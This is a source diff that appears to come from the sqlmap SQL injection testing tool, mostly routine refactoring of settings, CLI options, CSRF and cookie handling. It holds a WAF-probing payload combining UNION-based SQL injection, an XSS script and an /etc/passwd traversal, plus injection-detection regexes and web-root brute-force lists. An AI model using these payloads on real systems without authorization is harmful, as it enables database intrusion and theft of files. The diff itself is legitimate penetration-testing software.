 ERROR_PARSING_REGEXES = (
                          r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-                          r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>.+?)$",
+                          r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
                          r"<li>Error Type:<br>(?P<result>.+?)</li>",
                          r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
+                          r"(?m)^\s*\[[^\n]+(ODBC|JDBC)[^\n]+\](?P<result>[^\]]+in query expression[^\n]+)$"
                        )

 # Regular expression used for parsing charset info from meta html headers
@@ -313,9 +323,6 @@ BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}"
 # Regex used for parsing XML Burp saved history items
 BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'

-# Server header in CloudFlare responses
-CLOUDFLARE_SERVER_HEADER = "cloudflare-nginx"
-
 # Encoding used for Unicode data
 UNICODE_ENCODING = "utf8"

@@ -448,7 +455,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
 DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b"

 # Extensions skipped by crawler
-CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov", "doc", "docx", "xls", "dot", "dotx", "xlt", "xlsx", "ppt", "pps", "pptx")
+CRAWL_EXCLUDE_EXTENSIONS = ('3ds', '3g2', '3gp', '7z', 'DS_Store', 'a', 'aac', 'adp', 'ai', 'aif', 'aiff', 'apk', 'ar', 'asf', 'au', 'avi', 'bak', 'bin', 'bk', 'bmp', 'btif', 'bz2', 'cab', 'caf', 'cgm', 'cmx', 'cpio', 'cr2', 'dat', 'deb', 'djvu', 'dll', 'dmg', 'dmp', 'dng', 'doc', 'docx', 'dot', 'dotx', 'dra', 'dsk', 'dts', 'dtshd', 'dvb', 'dwg', 'dxf', 'ear', 'ecelp4800', 'ecelp7470', 'ecelp9600', 'egg', 'eol', 'eot', 'epub', 'exe', 'f4v', 'fbs', 'fh', 'fla', 'flac', 'fli', 'flv', 'fpx', 'fst', 'fvt', 'g3', 'gif', 'gz', 'h261', 'h263', 'h264', 'ico', 'ief', 'image', 'img', 'ipa', 'iso', 'jar', 'jpeg', 'jpg', 'jpgv', 'jpm', 'jxr', 'ktx', 'lvp', 'lz', 'lzma', 'lzo', 'm3u', 'm4a', 'm4v', 'mar', 'mdi', 'mid', 'mj2', 'mka', 'mkv', 'mmr', 'mng', 'mov', 'movie', 'mp3', 'mp4', 'mp4a', 'mpeg', 'mpg', 'mpga', 'mxu', 'nef', 'npx', 'o', 'oga', 'ogg', 'ogv', 'otf', 'pbm', 'pcx', 'pdf', 'pea', 'pgm', 'pic', 'png', 'pnm', 'ppm', 'pps', 'ppt', 'pptx', 'ps', 'psd', 'pya', 'pyc', 'pyo', 'pyv', 'qt', 'rar', 'ras', 'raw', 'rgb', 'rip', 'rlc', 'rz', 's3m', 's7z', 'scm', 'scpt', 'sgi', 'shar', 'sil', 'smv', 'so', 'sub', 'swf', 'tar', 'tbz2', 'tga', 'tgz', 'tif', 'tiff', 'tlz', 'ts', 'ttf', 'uvh', 'uvi', 'uvm', 'uvp', 'uvs', 'uvu', 'viv', 'vob', 'war', 'wav', 'wax', 'wbmp', 'wdp', 'weba', 'webm', 'webp', 'whl', 'wm', 'wma', 'wmv', 'wmx', 'woff', 'woff2', 'wvx', 'xbm', 'xif', 'xls', 'xlsx', 'xlt', 'xm', 'xpi', 'xpm', 'xwd', 'xz', 'z', 'zip', 'zipx')

 # Patterns often seen in HTTP headers containing custom injection marking character
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -460,7 +467,7 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"

 # Payload used for checking of existence of IDS/WAF (dummier the better)
-IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd"
+IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/../../../etc/passwd"

 # Data inside shellcodeexec to be filled with random string
 SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
@@ -533,7 +540,7 @@ HASHDB_FLUSH_RETRIES = 3
 HASHDB_END_TRANSACTION_RETRIES = 3

 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
-HASHDB_MILESTONE_VALUE = "JHjrBugdDA"  # "".join(random.sample(string.ascii_letters, 10))
+HASHDB_MILESTONE_VALUE = "ERqvmQHalF"  # "".join(random.sample(string.ascii_letters, 10))

 # Warn user of possible delay due to large page dump in full UNION query injections
 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -562,6 +569,9 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
 DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"

+# Regular expression used for recognition of file inclusion errors
+FI_ERROR_REGEX = "(?i)[^\n]*(no such file|failed (to )?open)[^\n]*"
+
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6

@@ -578,7 +588,7 @@ MAX_BISECTION_LENGTH = 50 * 1024 * 1024
 LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__"

 # Generic SQL comment formation
-GENERIC_SQL_COMMENT = "-- -"
+GENERIC_SQL_COMMENT = "-- [RANDSTR]"

 # Threshold value for turning back on time auto-adjustment mechanism
 VALID_TIME_CHARS_RUN_THRESHOLD = 100
@@ -587,7 +597,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10

 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CloudFlare")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved")

 # Generic www root directory names
 GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -599,7 +609,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100

 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException")

 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -680,7 +690,7 @@ BRUTE_DOC_ROOT_PREFIXES = {
 }

 # Suffixes used in brute force search for web server document root
-BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build")
+BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")

 # String used for marking target name inside used brute force web server document root
 BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
@@ -21,6 +21,7 @@ from lib.core.common import intersect
 from lib.core.common import normalizeUnicode
 from lib.core.common import openFile
 from lib.core.common import paramToDict
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import resetCookieJar
 from lib.core.common import urldecode
@@ -35,6 +36,7 @@ from lib.core.dump import dumper
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
@@ -214,9 +216,9 @@ def _setRequestParams():

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
-        warnMsg += "parameters (e.g. www.site.com/article.php?id=1) "
+        warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
        warnMsg += "and without providing any POST parameters "
-        warnMsg += "through --data option"
+        warnMsg += "through option '--data'"
        logger.warn(warnMsg)

        message = "do you want to try URI injections "
@@ -370,7 +372,7 @@ def _setRequestParams():
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
@@ -531,7 +533,7 @@ def _setResultsFile():
        except (OSError, IOError), ex:
            try:
                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
-                conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1]
+                conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1]
                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
                logger.warn(warnMsg)
@@ -542,7 +544,7 @@ def _setResultsFile():
                errMsg += "create temporary files and/or directories"
                raise SqlmapSystemException(errMsg)

-        conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep)
+        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)

        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)

@@ -603,28 +605,33 @@ def _createTargetDirs():
    Create the output directory.
    """

-    if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-        try:
-            if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-                os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+    try:
+        if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
+            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+
+        _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
+        open(_, "w+b").close()
+        os.remove(_)
+
+        if conf.outputDir:
            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
            logger.warn(warnMsg)
-        except (OSError, IOError), ex:
-            try:
-                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
-            except Exception, _:
-                errMsg = "unable to write to the temporary directory ('%s'). " % _
-                errMsg += "Please make sure that your disk is not full and "
-                errMsg += "that you have sufficient write permissions to "
-                errMsg += "create temporary files and/or directories"
-                raise SqlmapSystemException(errMsg)
+    except (OSError, IOError), ex:
+        try:
+            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
+        except Exception, _:
+            errMsg = "unable to write to the temporary directory ('%s'). " % _
+            errMsg += "Please make sure that your disk is not full and "
+            errMsg += "that you have sufficient write permissions to "
+            errMsg += "create temporary files and/or directories"
+            raise SqlmapSystemException(errMsg)

-            warnMsg = "unable to create regular output directory "
-            warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
-            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
-            logger.warn(warnMsg)
+        warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
+        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
+        warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
+        logger.warn(warnMsg)

-            paths.SQLMAP_OUTPUT_PATH = tempDir
+        paths.SQLMAP_OUTPUT_PATH = tempDir

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))

@@ -25,6 +25,7 @@ from lib.core.common import readXmlFile
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.log import LOGGER_HANDLER
@@ -235,7 +236,7 @@ def initCase(switches, count):
    Failures.failedParseOn = None
    Failures.failedTraceBack = None

-    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count)
+    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")

@@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
 """

 import difflib
+import random
 import threading
 import time
 import traceback
@@ -51,6 +52,7 @@ class _ThreadData(threading.local):
        self.lastRequestMsg = None
        self.lastRequestUID = 0
        self.lastRedirectURL = None
+        self.random = random.WichmannHill()
        self.resumed = False
        self.retriesCount = 0
        self.seqMatcher = difflib.SequenceMatcher(None)
@@ -11,7 +11,6 @@ import zipfile
 from lib.core.common import getSafeExString
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapInstallationException
-from lib.core.settings import UNICODE_ENCODING

 class Wordlist(object):
    """
@@ -45,7 +44,7 @@ class Wordlist(object):
                try:
                    _ = zipfile.ZipFile(self.current, 'r')
                except zipfile.error, ex:
-                    errMsg = "something seems to be wrong with "
+                    errMsg = "something appears to be wrong with "
                    errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                    errMsg += "sure that you haven't made any changes to it"
                    raise SqlmapInstallationException, errMsg
@@ -71,7 +70,7 @@ class Wordlist(object):
            try:
                retVal = self.iter.next().rstrip()
            except zipfile.error, ex:
-                errMsg = "something seems to be wrong with "
+                errMsg = "something appears to be wrong with "
                errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                errMsg += "sure that you haven't made any changes to it"
                raise SqlmapInstallationException, errMsg
@@ -464,6 +464,9 @@ def cmdLineParser(argv=None):
                               help="Exclude DBMS system databases when "
                                    "enumerating tables")

+        enumeration.add_option("--pivot-column", dest="pivotColumn",
+                               help="Pivot column name")
+
        enumeration.add_option("--where", dest="dumpWhere",
                               help="Use WHERE condition while table dumping")

@@ -617,6 +620,9 @@ def cmdLineParser(argv=None):
                            action="store_true",
                            help="Never ask for user input, use the default behaviour")

+        general.add_option("--binary-fields", dest="binaryFields",
+                          help="Result fields having binary values (e.g. \"digest\")")
+
        general.add_option("--charset", dest="charset",
                            help="Force character encoding used for data retrieval")

@@ -662,9 +668,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Parse and display DBMS error messages from responses")

-        general.add_option("--pivot-column", dest="pivotColumn",
-                               help="Pivot column name")
-
        general.add_option("--save", dest="saveConfig",
                            help="Save options to a configuration INI file")

@@ -716,10 +719,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Make a thorough testing for a WAF/IPS/IDS protection")

-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
-                                  action="store_true",
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
-
        miscellaneous.add_option("--mobile", dest="mobile",
                                  action="store_true",
                                  help="Imitate smartphone through HTTP User-Agent header")
@@ -736,12 +735,19 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Safely remove all content from output directory")

+        miscellaneous.add_option("--skip-waf", dest="skipWaf",
+                                  action="store_true",
+                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
+
        miscellaneous.add_option("--smart", dest="smart",
                                  action="store_true",
                                  help="Conduct thorough tests only if positive heuristic(s)")

        miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                            help="Prompt for an interactive sqlmap shell")
+                                  help="Prompt for an interactive sqlmap shell")
+
+        miscellaneous.add_option("--tmp-dir", dest="tmpDir",
+                                  help="Local directory for storing temporary files")

        miscellaneous.add_option("--wizard", dest="wizard",
                                  action="store_true",
@@ -760,12 +766,6 @@ def cmdLineParser(argv=None):
        parser.add_option("--profile", dest="profile", action="store_true",
                          help=SUPPRESS_HELP)

-        parser.add_option("--binary-fields", dest="binaryFields",
-                          help=SUPPRESS_HELP)
-
-        parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int",
-                          help=SUPPRESS_HELP)
-
        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

@@ -809,12 +809,12 @@ def cmdLineParser(argv=None):
        parser.formatter._format_option_strings = parser.formatter.format_option_strings
        parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))

-        # Dirty hack for making a short option -hh
+        # Dirty hack for making a short option '-hh'
        option = parser.get_option("--hh")
        option._short_opts = ["-hh"]
        option._long_opts = []

-        # Dirty hack for inherent help message of switch -h
+        # Dirty hack for inherent help message of switch '-h'
        option = parser.get_option("-h")
        option.help = option.help.capitalize().replace("this help", "basic help")

@@ -24,7 +24,8 @@ class HTMLHandler(ContentHandler):
        ContentHandler.__init__(self)

        self._dbms = None
-        self._page = page
+        self._page = (page or "")
+        self._lower_page = self._page.lower()

        self.dbms = None

@@ -33,11 +34,20 @@ class HTMLHandler(ContentHandler):
        threadData.lastErrorPage = (threadData.lastRequestUID, self._page)

    def startElement(self, name, attrs):
+        if self.dbms:
+            return
+
        if name == "dbms":
            self._dbms = attrs.get("value")

        elif name == "error":
-            if re.search(attrs.get("regexp"), self._page, re.I):
+            regexp = attrs.get("regexp")
+            if regexp not in kb.cache.regex:
+                keywords = re.findall("\w+", re.sub(r"\\.", " ", regexp))
+                keywords = sorted(keywords, key=len)
+                kb.cache.regex[regexp] = keywords[-1].lower()
+
+            if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I):
                self.dbms = self._dbms
                self._markAsErrorPage()

@@ -74,7 +74,7 @@ def loadBoundaries():
    try:
        doc = et.parse(paths.BOUNDARIES_XML)
    except Exception, ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -92,7 +92,7 @@ def loadPayloads():
        try:
            doc = et.parse(payloadFilePath)
        except Exception, ex:
-            errMsg = "something seems to be wrong with "
+            errMsg = "something appears to be wrong with "
            errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
            errMsg += "sure that you haven't made any changes to it"
            raise SqlmapInstallationException, errMsg
@@ -13,6 +13,7 @@ import StringIO
 import struct
 import zlib

+from lib.core.common import Backend
 from lib.core.common import extractErrorMessage
 from lib.core.common import extractRegexResult
 from lib.core.common import getPublicTypeMembers
@@ -25,6 +26,7 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapCompressionException
@@ -34,6 +36,7 @@ from lib.core.settings import EVENTVALIDATION_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
 from lib.core.settings import PARSE_HEADERS_LIMIT
+from lib.core.settings import SELECT_FROM_TABLE_REGEX
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.parse.headers import headersParser
@@ -150,7 +153,7 @@ def checkCharEncoding(encoding, warn=True):
        return encoding

    # Reference: http://www.destructor.de/charsets/index.htm
-    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932"}
+    translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8",  "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}

    for delimiter in (';', ',', '('):
        if delimiter in encoding:
@@ -258,15 +261,16 @@ def decodePage(page, contentEncoding, contentType):

            page = data.read()
        except Exception, msg:
-            errMsg = "detected invalid data for declared content "
-            errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
-            singleTimeLogMessage(errMsg, logging.ERROR)
+            if "<html" not in page:  # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
+                errMsg = "detected invalid data for declared content "
+                errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
+                singleTimeLogMessage(errMsg, logging.ERROR)

-            warnMsg = "turning off page compression"
-            singleTimeWarnMessage(warnMsg)
+                warnMsg = "turning off page compression"
+                singleTimeWarnMessage(warnMsg)

-            kb.pageCompress = False
-            raise SqlmapCompressionException
+                kb.pageCompress = False
+                raise SqlmapCompressionException

    if not conf.charset:
        httpCharset, metaCharset = None, None
@@ -330,11 +334,14 @@ def processResponse(page, responseHeaders):

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)

+    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
+
    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
-            logger.warning("parsed DBMS error message: '%s'" % msg)
+            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
@@ -32,7 +32,6 @@ from lib.core.agent import agent
 from lib.core.common import asciifyUrl
 from lib.core.common import calculateDeltaSeconds
 from lib.core.common import clearConsoleLine
-from lib.core.common import cpuThrottle
 from lib.core.common import dataToStdout
 from lib.core.common import evaluateCode
 from lib.core.common import extractRegexResult
@@ -145,7 +144,7 @@ class Connect(object):
            warnMsg = "most probably web server instance hasn't recovered yet "
            warnMsg += "from previous timed based payload. If the problem "
            warnMsg += "persists please wait for few minutes and rerun "
-            warnMsg += "without flag T in option '--technique' "
+            warnMsg += "without flag 'T' in option '--technique' "
            warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
            warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
            singleTimeWarnMessage(warnMsg)
@@ -220,8 +219,6 @@ class Connect(object):

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)
-        elif conf.cpuThrottle:
-            cpuThrottle(conf.cpuThrottle)

        if conf.offline:
            return None, None, None
@@ -376,6 +373,9 @@ class Connect(object):
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

+            if conf.keepAlive:
+                headers[HTTP_HEADER.CONNECTION] = "keep-alive"
+
            # Reset header values to original in case of provided request file
            if target and conf.requestFile:
                headers = OrderedDict(conf.httpHeaders)
@@ -616,8 +616,12 @@ class Connect(object):
            elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
                warnMsg = "connection was forcibly closed by the target URL"
            elif "timed out" in tbMsg:
-                singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
-                conf.disablePrecon = True
+                if not conf.disablePrecon:
+                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
+                    conf.disablePrecon = True
+
+                    if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
+                        kb.responseTimes.clear()

                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
@@ -789,9 +793,20 @@ class Connect(object):
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
-                    payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
-                    value = agent.replacePayload(value, payload)
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
+                    skip = False
+
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
+                        if kb.cookieEncodeChoice is None:
+                            msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
+                            choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N')
+                            kb.cookieEncodeChoice = choice.upper().strip() == "Y"
+                        if not kb.cookieEncodeChoice:
+                            skip = True
+
+                    if not skip:
+                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        value = agent.replacePayload(value, payload)

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -828,9 +843,13 @@ class Connect(object):

        if PLACE.GET in conf.parameters:
            get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
+        elif place == PLACE.GET:  # Note: for (e.g.) checkWaf() when there are no GET parameters
+            get = value

        if PLACE.POST in conf.parameters:
            post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
+        elif place == PLACE.POST:
+            post = value

        if PLACE.CUSTOM_POST in conf.parameters:
            post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
@@ -859,15 +878,23 @@ class Connect(object):
        if conf.csrfToken:
            def _adjustParameter(paramString, parameter, newValue):
                retVal = paramString
-                match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
+                match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
                if match:
-                    retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(match.group(0), "%s=%s" % (parameter, newValue), paramString)
+                else:
+                    match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
+                    if match:
+                        retVal = re.sub(match.group(0), "%s%s" % (match.group(1), newValue), paramString)
                return retVal

            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
            match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "")
            token = (match.group(2) or match.group(3) or match.group(4)) if match else None

+            if not token:
+                match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
+                token = match.group(1) if match else None
+
